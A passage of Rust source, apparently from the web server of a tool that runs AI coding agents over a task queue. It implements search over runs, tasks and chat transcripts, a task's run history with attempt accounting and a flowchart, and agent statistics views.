3477) {
3478    match value {
3479        serde_json::Value::String(s) => out.push((field, s)),
3480        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3481        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3482        _ => {}
3483    }
3484}
3485
3486/// Lower-case one character without changing how many there are, so indices
3487/// in the lowered text are indices in the original.
3488fn fold_char(c: char) -> char {
3489    c.to_lowercase().next().unwrap_or(c)
3490}
3491
3492/// Split a query into its lower-cased terms.
3493fn search_terms(q: &str) -> Vec<String> {
3494    let mut terms: Vec<String> = Vec::new();
3495    for t in q.split_whitespace() {
3496        let t = t.to_lowercase();
3497        if !terms.contains(&t) {
3498            terms.push(t);
3499        }
3500    }
3501    terms
3502}
3503
3504/// Match `terms` (all of them, anywhere in the document) against the leaves
3505/// and cut a snippet around the first hit. `None` when a term is missing.
3506fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3507    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3508    let mut first: Option<usize> = None;
3509    for term in terms {
3510        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3511        first = Some(first.map_or(at, |f| f.min(at)));
3512    }
3513    // The leaf holding the earliest hit of any term is where the snippet is cut.
3514    let (field, text) = leaves[first?];
3515    Some(SearchHit {
3516        id: String::new(),
3517        field: field.to_owned(),
3518        snippet: snippet_of(text, terms),
3519        run: None,
3520    })
3521}
3522
3523/// A window of `text` around the first occurrence of any term, whitespace
3524/// collapsed, with every term occurrence inside the window marked.
3525fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3526    let chars: Vec<char> = text.chars().collect();
3527    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3528    let needles: Vec<Vec<char>> = terms
3529        .iter()
3530        .map(|t| t.chars().map(fold_char).collect())
3531        .collect();
3532    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3533        let mut best: Option<(usize, usize)> = None;
3534        for n in needles.iter().filter(|n| !n.is_empty()) {
3535            // `to` bounds where a match may start; it may run past `to` (the
3536            // caller clips what it shows). A term longer than the field cannot
3537            // occur in it (it may live in another leaf of the document).
3538            if n.len() > chars.len() || to == 0 {
3539                continue;
3540            }
3541            let last = (to - 1).min(chars.len() - n.len());
3542            if from > last {
3543                continue;
3544            }
3545            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3546                && best.is_none_or(|(b, _)| i < b)
3547            {
3548                best = Some((i, i + n.len()));
3549            }
3550        }
3551        best
3552    };
3553    let Some((start, _)) = find(0, chars.len()) else {
3554        // Matched only through a case mapping that changes length: show the head.
3555        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3556        return vec![SnippetPart {
3557            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3558            hit: false,
3559        }];
3560    };
3561    let lo = start.saturating_sub(SNIPPET_BEFORE);
3562    let hi = (start + SNIPPET_AFTER).min(chars.len());
3563    let mut parts: Vec<SnippetPart> = Vec::new();
3564    let mut push = |s: &[char], hit: bool| {
3565        if s.is_empty() {
3566            return;
3567        }
3568        let text: String = s.iter().collect();
3569        match parts.last_mut() {
3570            Some(p) if p.hit == hit => p.text.push_str(&text),
3571            _ => parts.push(SnippetPart { text, hit }),
3572        }
3573    };
3574    if lo > 0 {
3575        push(&['\u{2026}'], false);
3576    }
3577    let mut at = lo;
3578    while at < hi {
3579        match find(at, hi) {
3580            Some((s, e)) => {
3581                push(&chars[at..s], false);
3582                // A match running past the window is shown up to its edge.
3583                let shown = e.min(hi);
3584                push(&chars[s..shown], true);
3585                at = shown;
3586            }
3587            None => {
3588                push(&chars[at..hi], false);
3589                at = hi;
3590            }
3591        }
3592    }
3593    if hi < chars.len() {
3594        push(&['\u{2026}'], false);
3595    }
3596    // Collapse whitespace (newlines in an instruction) without disturbing the
3597    // hit boundaries.
3598    let mut prev_space = false;
3599    for p in &mut parts {
3600        let mut out = String::with_capacity(p.text.len());
3601        for c in p.text.chars() {
3602            if c.is_whitespace() {
3603                if !prev_space {
3604                    out.push(' ');
3605                }
3606                prev_space = true;
3607            } else {
3608                out.push(c);
3609                prev_space = false;
3610            }
3611        }
3612        p.text = out;
3613    }
3614    parts.retain(|p| !p.text.is_empty());
3615    parts
3616}
3617
3618/// The search over `docs` (id, document), newest first, capped.
3619fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3620where
3621    I: IntoIterator<Item = (String, serde_json::Value)>,
3622{
3623    for (id, doc) in docs {
3624        let mut leaves = Vec::new();
3625        // The id is text an operator types too, and it is a map key on disk,
3626        // not a leaf.
3627        leaves.push(("id", id.as_str()));
3628        text_leaves(&doc, "", &mut leaves);
3629        if let Some(mut hit) = search_document(terms, &leaves) {
3630            view.total += 1;
3631            if view.hits.len() < SEARCH_MAX_HITS {
3632                hit.id = id;
3633                view.hits.push(hit);
3634            }
3635        }
3636    }
3637    view.truncated = view.total > view.hits.len();
3638}
3639
3640/// What a conversation is searched by: its list title and each turn's text,
3641/// under `operator` / `agent` so the snippet says who spoke. Nothing else
3642/// (session ids, repo paths, usage, drafts) is part of the document.
3643///
3644/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
3645/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
3646fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3647    let opener = talk
3648        .turns
3649        .iter()
3650        .find(|t| t.who == crate::talk::Who::Operator)
3651        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3652        .unwrap_or("");
3653    let title: String = if opener.chars().count() > 96 {
3654        opener.chars().take(95).chain(['\u{2026}']).collect()
3655    } else {
3656        opener.to_owned()
3657    };
3658    let turns: Vec<serde_json::Value> = talk
3659        .turns
3660        .iter()
3661        .map(|t| {
3662            let who = match t.who {
3663                crate::talk::Who::Operator => "operator",
3664                crate::talk::Who::Agent => "agent",
3665            };
3666            serde_json::json!({ who: t.body })
3667        })
3668        .collect();
3669    serde_json::json!({ "title": title, "turns": turns })
3670}
3671
3672/// Read-only full-text search over every run's `run.json`, every task or every
3673/// conversation (title and transcript).
3674///
3675/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
3676/// record from an older schema still searches; only a file that is not JSON
3677/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
3678async fn search_get(
3679    State(ui): State<Arc<Ui>>,
3680    Query(q): Query<SearchQuery>,
3681) -> ApiResult<Json<SearchView>> {
3682    let query = q.q.trim().to_owned();
3683    if query.is_empty() {
3684        return Err(ApiError::bad_request("q must not be empty"));
3685    }
3686    if query.chars().count() > SEARCH_MAX_QUERY {
3687        return Err(ApiError::bad_request(format!(
3688            "q is longer than {SEARCH_MAX_QUERY} characters"
3689        )));
3690    }
3691    let terms = search_terms(&query);
3692    if terms.len() > SEARCH_MAX_TERMS {
3693        return Err(ApiError::bad_request(format!(
3694            "q has more than {SEARCH_MAX_TERMS} terms"
3695        )));
3696    }
3697    let scope = q.scope;
3698    if scope != "runs" && scope != "tasks" && scope != "chats" {
3699        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3700    }
3701    blocking(move || {
3702        let mut view = SearchView {
3703            scope: scope.clone(),
3704            q: query,
3705            hits: Vec::new(),
3706            total: 0,
3707            truncated: false,
3708            unreadable: 0,
3709        };
3710        if scope == "runs" {
3711            let mut unreadable = 0;
3712            // One run.json is read, matched and dropped at a time; nothing
3713            // holds the whole history. The scan runs to the end even past the
3714            // hit cap so `total` and `unreadable` stay exact.
3715            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3716                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3717                match body.and_then(|b| serde_json::from_str(&b).ok()) {
3718                    Some(v) => Some((id, v)),
3719                    None => {
3720                        unreadable += 1;
3721                        None
3722                    }
3723                }
3724            });
3725            search_docs(&terms, docs, &mut view);
3726            view.unreadable = unreadable;
3727            // Only the capped hits get a row: the filters need a run's state,
3728            // and reading every match would be the whole history again.
3729            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3730            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3731            for hit in &mut view.hits {
3732                if let Ok(state) = read_run(&ui.runs, &hit.id) {
3733                    hit.run = summarize(
3734                        [state],
3735                        &open_runs,
3736                        &claimed,
3737                        &superseded,
3738                        |p| probe.borrow_mut().status(p),
3739                        |p| probe.borrow_mut().started_at(p),
3740                    )
3741                    .pop();
3742                }
3743            }
3744        } else if scope == "chats" {
3745            let (talks, unreadable) = ui.talks.list_counting_unreadable();
3746            view.unreadable = unreadable;
3747            search_docs(
3748                &terms,
3749                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3750                &mut view,
3751            );
3752        } else {
3753            let docs = ui.queue.list().into_iter().filter_map(|t| {
3754                let mut v = serde_json::to_value(&t).ok()?;
3755                // `source` serialises as a tagged object; the label is what
3756                // the operator reads ("human", "chat@a1b2").
3757                if let Some(o) = v.as_object_mut() {
3758                    o.insert("filed_by".to_owned(), t.source.label().into());
3759                }
3760                Some((t.id, v))
3761            });
3762            search_docs(&terms, docs, &mut view);
3763        }
3764        Ok(Json(view))
3765    })
3766    .await
3767}
3768
3769/// One attempt in a task's history, as the task page lists it.
3770#[derive(Debug, Serialize)]
3771struct TaskRunView {
3772    /// 1-based position in [`Task::runs`].
3773    n: usize,
3774    id: String,
3775    short: String,
3776    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
3777    kind: &'static str,
3778    /// The run's own status string; `None` when its record cannot be read.
3779    status: Option<&'static str>,
3780    /// Whether this build could read the run's record. Counted, never hidden.
3781    readable: bool,
3782    /// A verdict from a collapsed panel is provisional, never a decision.
3783    provisional: bool,
3784    /// What kind of attempt this was, in one line.
3785    description: String,
3786    /// How it ended and why the task moved on (or what it is doing now).
3787    outcome: String,
3788    created_at: Option<Timestamp>,
3789    pr: Option<String>,
3790    /// Why this pass ended, classified once; the flowchart is built from it.
3791    exit: RunExit,
3792    /// What the pass did to the task's attempt budget.
3793    attempt: AttemptCost,
3794    /// The branch a review-only run reopened.
3795    branch: Option<String>,
3796}
3797
3798/// How one pass over a run ended, as far as the task's life is concerned.
3799#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3800#[serde(rename_all = "snake_case")]
3801enum RunExit {
3802    Unreadable,
3803    /// An earlier pass of a run id that appears again: it stopped short.
3804    Interrupted,
3805    Parked,
3806    QuotaStall,
3807    /// Stalled on a resumed pass with quota losses on record: they may be
3808    /// left over from an earlier pass, so whether this one was refunded is
3809    /// not knowable.
3810    ResumedQuotaStall,
3811    Merged,
3812    Ready,
3813    Superseded,
3814    /// The change was already on the base under other commits: the task
3815    /// finished without this run landing anything.
3816    AlreadyInBase,
3817    /// Stalled without a rate limit to blame: no verdict, attempt spent.
3818    Stalled,
3819    /// Blocked / no-op with a pull request left open: held for a person.
3820    HeldWithPr,
3821    NoopHeld,
3822    /// Blocked or failed: the attempt is spent and the task retries or holds.
3823    Spent,
3824    InProgress,
3825}
3826
3827#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3828#[serde(rename_all = "snake_case")]
3829enum AttemptCost {
3830    Spent,
3831    Refunded,
3832    None,
3833    /// Cannot be told from the records that remain.
3834    Unknown,
3835}
3836
3837impl RunExit {
3838    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3839        let Some(s) = s else {
3840            return Self::Unreadable;
3841        };
3842        let status = s.status;
3843        if resumed_later {
3844            Self::Interrupted
3845        } else if s.parked {
3846            Self::Parked
3847        } else if !status.done() {
3848            Self::InProgress
3849        } else if matches!(status, RunStatus::Merged) {
3850            Self::Merged
3851        } else if matches!(status, RunStatus::Ready) {
3852            Self::Ready
3853        } else if matches!(status, RunStatus::Superseded) {
3854            Self::Superseded
3855        } else if matches!(status, RunStatus::AlreadyInBase) {
3856            Self::AlreadyInBase
3857        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3858            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3859        {
3860            if resumed {
3861                Self::ResumedQuotaStall
3862            } else {
3863                Self::QuotaStall
3864            }
3865        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3866            Self::HeldWithPr
3867        } else if matches!(status, RunStatus::VerifiedNoop) {
3868            Self::NoopHeld
3869        } else if matches!(status, RunStatus::Stalled) {
3870            Self::Stalled
3871        } else {
3872            Self::Spent
3873        }
3874    }
3875
3876    fn cost(self) -> AttemptCost {
3877        match self {
3878            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3879            Self::Merged
3880            | Self::Ready
3881            | Self::Stalled
3882            | Self::HeldWithPr
3883            | Self::NoopHeld
3884            | Self::Spent => AttemptCost::Spent,
3885            Self::InProgress => AttemptCost::None,
3886            Self::AlreadyInBase => AttemptCost::Refunded,
3887            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3888                AttemptCost::Unknown
3889            }
3890        }
3891    }
3892
3893    /// Short edge wording for leaving a run this way.
3894    fn edge_label(self, status: Option<&str>) -> String {
3895        match self {
3896            Self::Unreadable => "record unreadable".to_owned(),
3897            Self::Interrupted => "interrupted before the run finished".to_owned(),
3898            Self::Parked => "parked, attempt refunded".to_owned(),
3899            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3900            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3901            Self::Merged => "merged".to_owned(),
3902            Self::Ready => "ready, not merged".to_owned(),
3903            Self::Superseded => "superseded by a later attempt".to_owned(),
3904            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3905            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3906            Self::HeldWithPr => "blocked, PR left open".to_owned(),
3907            Self::NoopHeld => "verified no-op".to_owned(),
3908            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3909            Self::InProgress => "in progress".to_owned(),
3910        }
3911    }
3912
3913    /// Does a task in `end` follow from a run that ended this way? When not,
3914    /// somebody closed or held the task by hand.
3915    fn explains(self, end: TaskStatus) -> bool {
3916        match self {
3917            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3918            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3919            Self::Unreadable | Self::Superseded | Self::Ready => true,
3920            _ => end != TaskStatus::Done,
3921        }
3922    }
3923}
3924
3925/// `GET /api/queue/{id}` - one task with every attempt it went through.
3926#[derive(Debug, Serialize)]
3927struct TaskDetailView {
3928    #[serde(flatten)]
3929    task: TaskView,
3930    /// The attempt budget `magi serve` / `magi web` start a loop with unless
3931    /// told otherwise; the loop's own flag is not visible from here.
3932    max_attempts: usize,
3933    history: Vec<TaskRunView>,
3934    flow: FlowView,
3935    /// How many entries of `history` could not be read.
3936    runs_unreadable: usize,
3937    /// Why the attempt count can be lower than the number of runs.
3938    attempts_note: &'static str,
3939}
3940
3941const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3942and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3943on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3944in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3945
3946/// The branch a review-only run reopened, read off the instruction
3947/// `Runner::open_review` writes.
3948fn review_branch_of(instruction: &str) -> Option<&str> {
3949    let rest = instruction.strip_prefix("Review the work already on branch `")?;
3950    rest.split('`').next().filter(|b| !b.is_empty())
3951}
3952
3953/// Where an entry sits in a task's run list.
3954struct RunSlot<'a> {
3955    /// 1-based position.
3956    n: usize,
3957    /// The same run id appeared earlier: this pass resumed it.
3958    resumed: bool,
3959    /// Position of a later pass over the same run id, if any.
3960    resumed_later: Option<usize>,
3961    /// The previous distinct run and how it ended, for the retry note.
3962    prior: Option<(&'a str, RunStatus)>,
3963    last: bool,
3964}
3965
3966/// Describe one entry of a task's run list. Pure: everything it needs is on
3967/// the run and the task, so it is asserted without a server.
3968fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3969    let RunSlot {
3970        n,
3971        resumed,
3972        resumed_later,
3973        prior,
3974        last,
3975    } = at;
3976    let short = run::short_of(id).to_owned();
3977    let Some(s) = state else {
3978        return TaskRunView {
3979            n,
3980            id: id.to_owned(),
3981            short,
3982            kind: "unknown",
3983            status: None,
3984            readable: false,
3985            provisional: false,
3986            description:
3987                "This run's record could not be read by this build (written by a different \
3988                          magi, or removed), so what kind of attempt it was is unknown."
3989                    .to_owned(),
3990            outcome: String::new(),
3991            created_at: None,
3992            pr: None,
3993            exit: RunExit::Unreadable,
3994            attempt: AttemptCost::Unknown,
3995            branch: None,
3996        };
3997    };
3998    let branch = review_branch_of(&s.instruction);
3999    let kind = if resumed {
4000        "resume"
4001    } else if branch.is_some() {
4002        "review"
4003    } else if task.solo || s.candidates.len() == 1 {
4004        "solo"
4005    } else {
4006        "competition"
4007    };
4008    let mut description = match kind {
4009        "resume" => {
4010            format!("Resumed run {short}: the same run carried on instead of competing again.")
4011        }
4012        "review" => format!(
4013            "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4014            branch.unwrap_or_default()
4015        ),
4016        "solo" => "Solo run: one implementer straight into review.".to_owned(),
4017        _ => format!(
4018            "Competition: {} candidates judged blind.",
4019            s.candidates.len().max(1)
4020        ),
4021    };
4022    if !resumed && let Some((p, st)) = prior {
4023        description.push_str(&format!(
4024            " A retry: run {p} before it ended {}.",
4025            st.display_label()
4026        ));
4027    }
4028
4029    let status = s.status;
4030    let provisional = matches!(status, RunStatus::Stalled)
4031        || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4032    let head = if resumed_later.is_some() {
4033        String::new()
4034    } else {
4035        match status {
4036            RunStatus::Merged => "Merged.".to_owned(),
4037            RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4038            RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4039            RunStatus::AlreadyInBase => {
4040                "Already in the base: this change landed under other commits, nothing was left to land."
4041                    .to_owned()
4042            }
4043            RunStatus::Stalled => {
4044                "Stalled: the judging panel never reached a quorum, so there is no verdict."
4045                    .to_owned()
4046            }
4047            RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4048            RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4049            RunStatus::VerifiedNoop => {
4050                "Verified no-op: the candidates found nothing to change.".to_owned()
4051            }
4052            other if other.done() => format!("Ended {}.", other.display_label()),
4053            other => format!("In progress ({}).", other.display_label()),
4054        }
4055    };
4056    let why = if let Some(k) = resumed_later {
4057        // A run is only picked up again while it is unfinished, so an earlier
4058        // pass of a repeated id stopped short; the record keeps only the run's
4059        // latest status, which is left to the pass that carried it on.
4060        // Only the latest state is recorded: `parked` is cleared on resume
4061        // and `quota` accumulates across passes, so neither says why *this*
4062        // pass stopped, and the refund is as unknown as `AttemptCost` says.
4063        let cause = if s.quota.is_empty() {
4064            "the cause was not recorded: a park, a crash or a restart all look the same from here"
4065        } else {
4066            "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4067        };
4068        format!(
4069            " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4070        )
4071    } else if s.parked {
4072        " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4073            .to_owned()
4074    } else if !status.done()
4075        || matches!(
4076            status,
4077            RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4078        )
4079    {
4080        String::new()
4081    } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4082        || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4083    {
4084        " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4085            .to_owned()
4086    } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4087        " It left a pull request open, so the task was held for a person rather than retried."
4088            .to_owned()
4089    } else if matches!(status, RunStatus::VerifiedNoop) {
4090        " Held for a person to check the claim.".to_owned()
4091    } else if last {
4092        " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4093    } else {
4094        " It spent an attempt, and the task moved on to the next run.".to_owned()
4095    };
4096    let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4097    TaskRunView {
4098        n,
4099        id: id.to_owned(),
4100        short,
4101        kind,
4102        status: Some(status.as_str()),
4103        readable: true,
4104        provisional,
4105        description,
4106        outcome: format!("{head}{why}"),
4107        created_at: Some(s.created_at),
4108        pr: s.pr.as_ref().map(|p| p.url.clone()),
4109        exit,
4110        attempt: exit.cost(),
4111        branch: branch.map(str::to_owned),
4112    }
4113}
4114
4115/// One box of the task's flowchart.
4116#[derive(Debug, Serialize, PartialEq)]
4117struct FlowNode {
4118    /// Unique by position: a resumed run id appears once per pass.
4119    key: String,
4120    /// `chat`, `start`, `run` or `end`.
4121    kind: &'static str,
4122    label: String,
4123    /// Run status (or the task's, for `end`); `None` when it is not a fact
4124    /// about this box (unreadable, or a pass the run later resumed from).
4125    status: Option<&'static str>,
4126    /// Why there is no status: `unreadable`, `interrupted` or `no verdict`.
4127    note: Option<&'static str>,
4128    run_kind: Option<&'static str>,
4129    detail: Option<String>,
4130    /// A readable run with a real verdict; a stall never is.
4131    decided: bool,
4132    readable: bool,
4133    href: Option<String>,
4134}
4135
4136#[derive(Debug, Serialize, PartialEq)]
4137struct FlowEdge {
4138    from: String,
4139    to: String,
4140    label: String,
4141    attempt: AttemptCost,
4142}
4143
4144#[derive(Debug, Serialize, PartialEq)]
4145struct FlowView {
4146    nodes: Vec<FlowNode>,
4147    edges: Vec<FlowEdge>,
4148    /// Attempts the task has counted since it was last released.
4149    attempts: usize,
4150    max_attempts: usize,
4151}
4152
4153/// Turn a task and its described runs into the flowchart's boxes and arrows.
4154/// Pure: the page only draws what this returns.
4155fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4156    let node = |key: &str, kind, label: String| FlowNode {
4157        key: key.to_owned(),
4158        kind,
4159        label,
4160        status: None,
4161        note: None,
4162        run_kind: None,
4163        detail: None,
4164        decided: false,
4165        readable: true,
4166        href: None,
4167    };
4168    let mut nodes = Vec::new();
4169    let mut edges: Vec<FlowEdge> = Vec::new();
4170    // A task queued from a chat opens the flow with that conversation.
4171    if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4172        let mut n = node(
4173            "chat",
4174            "chat",
4175            format!("Chat {}", crate::queue::short(&link.id)),
4176        );
4177        n.href = Some(link.href);
4178        nodes.push(n);
4179        edges.push(FlowEdge {
4180            from: "chat".to_owned(),
4181            to: "start".to_owned(),
4182            label: "queued from chat".to_owned(),
4183            attempt: AttemptCost::None,
4184        });
4185    }
4186    nodes.push(node("start", "start", "Task queued".to_owned()));
4187    let mut prev = "start".to_owned();
4188    let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4189    for (i, h) in history.iter().enumerate() {
4190        let key = format!("run-{}", h.n);
4191        let mut n = node(&key, "run", format!("Run {}", h.short));
4192        n.run_kind = Some(h.kind);
4193        n.readable = h.readable;
4194        n.href = Some(format!("#/runs/{}", h.id));
4195        n.decided = h.readable && !h.provisional;
4196        n.detail = h
4197            .branch
4198            .as_ref()
4199            .map(|b| format!("review-only run of branch {b}"));
4200        match h.exit {
4201            RunExit::Unreadable => n.note = Some("unreadable"),
4202            RunExit::Interrupted => n.note = Some("interrupted"),
4203            _ => {
4204                n.status = h.status;
4205                if h.provisional {
4206                    n.note = Some("no verdict");
4207                }
4208            }
4209        }
4210        let into = match h.kind {
4211            "review" => Some(format!(
4212                "review-only run of branch {}",
4213                h.branch.as_deref().unwrap_or("?")
4214            )),
4215            "resume" => Some("resume the same run".to_owned()),
4216            _ if i > 0 => Some("retry".to_owned()),
4217            _ => None,
4218        };
4219        let label = match (prev_exit, into) {
4220            (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4221            (Some((e, st)), None) => e.edge_label(st),
4222            (None, Some(i)) => i,
4223            (None, None) => "claimed".to_owned(),
4224        };
4225        edges.push(FlowEdge {
4226            from: prev.clone(),
4227            to: key.clone(),
4228            label,
4229            attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4230        });
4231        prev_exit = Some((h.exit, h.status));
4232        prev = key;
4233        nodes.push(n);
4234    }
4235    let mut end = node("end", "end", task.status.as_str().to_owned());
4236    end.status = Some(task.status.as_str());
4237    nodes.push(end);
4238    let (label, attempt) = match prev_exit {
4239        None => (
4240            format!("no run yet \u{2192} {}", task.status.as_str()),
4241            AttemptCost::None,
4242        ),
4243        Some((e, st)) if e.explains(task.status) => (
4244            format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4245            e.cost(),
4246        ),
4247        Some((e, _)) => (
4248            format!("closed by hand: task is {}", task.status.as_str()),
4249            e.cost(),
4250        ),
4251    };
4252    edges.push(FlowEdge {
4253        from: prev,
4254        to: "end".to_owned(),
4255        label,
4256        attempt,
4257    });
4258    FlowView {
4259        nodes,
4260        edges,
4261        attempts: task.attempts,
4262        max_attempts,
4263    }
4264}
4265
4266/// Describe every entry of `task.runs`, in order, reading each run's record
4267/// through `read`.
4268fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4269    let mut history = Vec::with_capacity(task.runs.len());
4270    let mut seen: Vec<&str> = Vec::new();
4271    let mut prior: Option<(&str, RunStatus)> = None;
4272    for (i, run_id) in task.runs.iter().enumerate() {
4273        let state = read(run_id);
4274        let resumed = seen.contains(&run_id.as_str());
4275        seen.push(run_id);
4276        history.push(task_run_view(
4277            run_id,
4278            state.as_ref(),
4279            RunSlot {
4280                n: i + 1,
4281                resumed,
4282                resumed_later: task.runs[i + 1..]
4283                    .iter()
4284                    .position(|r| r == run_id)
4285                    .map(|off| i + off + 2),
4286                prior,
4287                last: i + 1 == task.runs.len(),
4288            },
4289            task,
4290        ));
4291        if let Some(s) = &state {
4292            prior = Some((run::short_of(run_id), s.status));
4293        }
4294    }
4295    history
4296}
4297
4298async fn task_detail(
4299    State(ui): State<Arc<Ui>>,
4300    Path(id): Path<String>,
4301) -> ApiResult<Json<TaskDetailView>> {
4302    blocking(move || {
4303        let id = resolve_task(&ui.queue, &id)?;
4304        let task = ui
4305            .queue
4306            .get(&id)
4307            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4308        let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4309        let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4310        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4311        let max_attempts = daemon::Opts::default().max_attempts;
4312        let flow = task_flow(&task, &history, max_attempts);
4313        Ok(Json(TaskDetailView {
4314            max_attempts,
4315            flow,
4316            history,
4317            runs_unreadable,
4318            attempts_note: ATTEMPTS_NOTE,
4319            task: TaskView::with_inventory(task, &inv),
4320        }))
4321    })
4322    .await
4323}
4324
4325/// A rate together with its denominator, so the client can tell "computed as
4326/// 0%" apart from "no data to compute it from" — both would otherwise
4327/// serialize as `0.0`. `None` means the denominator was zero.
4328#[derive(Debug, Serialize)]
4329struct RateView {
4330    pct: f64,
4331    denominator: usize,
4332}
4333
4334impl RateView {
4335    fn of(numerator: usize, denominator: usize) -> Option<Self> {
4336        (denominator > 0).then(|| Self {
4337            pct: 100.0 * numerator as f64 / denominator as f64,
4338            denominator,
4339        })
4340    }
4341}
4342
4343/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
4344/// rates, each paired with its own denominator via [`RateView`] rather than
4345/// exposing `Stats`' own percentage methods directly — see this module's
4346/// doc for why `Stats` itself is never serialized.
4347#[derive(Debug, Serialize)]
4348struct StatsTotalsView {
4349    runs: usize,
4350    merged: usize,
4351    ready: usize,
4352    blocked: usize,
4353    failed: usize,
4354    stalled: usize,
4355    verified_noop: usize,
4356    superseded: usize,
4357    in_progress: usize,
4358    completion_rate: Option<RateView>,
4359    tallied: usize,
4360    split: usize,
4361    split_rate: Option<RateView>,
4362    deliberated: usize,
4363    minds_changed: usize,
4364    converged: usize,
4365    review_rounds: usize,
4366}
4367
4368impl From<&stats::Totals> for StatsTotalsView {
4369    fn from(t: &stats::Totals) -> Self {
4370        Self {
4371            runs: t.runs,
4372            merged: t.merged,
4373            ready: t.ready,
4374            blocked: t.blocked,
4375            failed: t.failed,
4376            stalled: t.stalled,
4377            verified_noop: t.verified_noop,
4378            superseded: t.superseded,
4379            in_progress: t.in_progress,
4380            completion_rate: RateView::of(t.merged + t.ready, t.runs),
4381            tallied: t.tallied,
4382            split: t.split,
4383            split_rate: RateView::of(t.split, t.tallied),
4384            deliberated: t.deliberated,
4385            minds_changed: t.minds_changed,
4386            converged: t.converged,
4387            review_rounds: t.review_rounds,
4388        }
4389    }
4390}
4391
4392/// [`crate::stats::AgentStats`] for the wire.
4393#[derive(Debug, Serialize)]
4394struct AgentStatsView {
4395    agent: String,
4396    entered: usize,
4397    wins: usize,
4398    empty: usize,
4399    win_rate: Option<RateView>,
4400}
4401
4402impl From<&stats::AgentStats> for AgentStatsView {
4403    fn from(a: &stats::AgentStats) -> Self {
4404        Self {
4405            agent: a.agent.clone(),
4406            entered: a.entered,
4407            wins: a.wins,
4408            empty: a.empty,
4409            win_rate: RateView::of(a.wins, a.entered),
4410        }
4411    }
4412}
4413
4414/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
4415/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
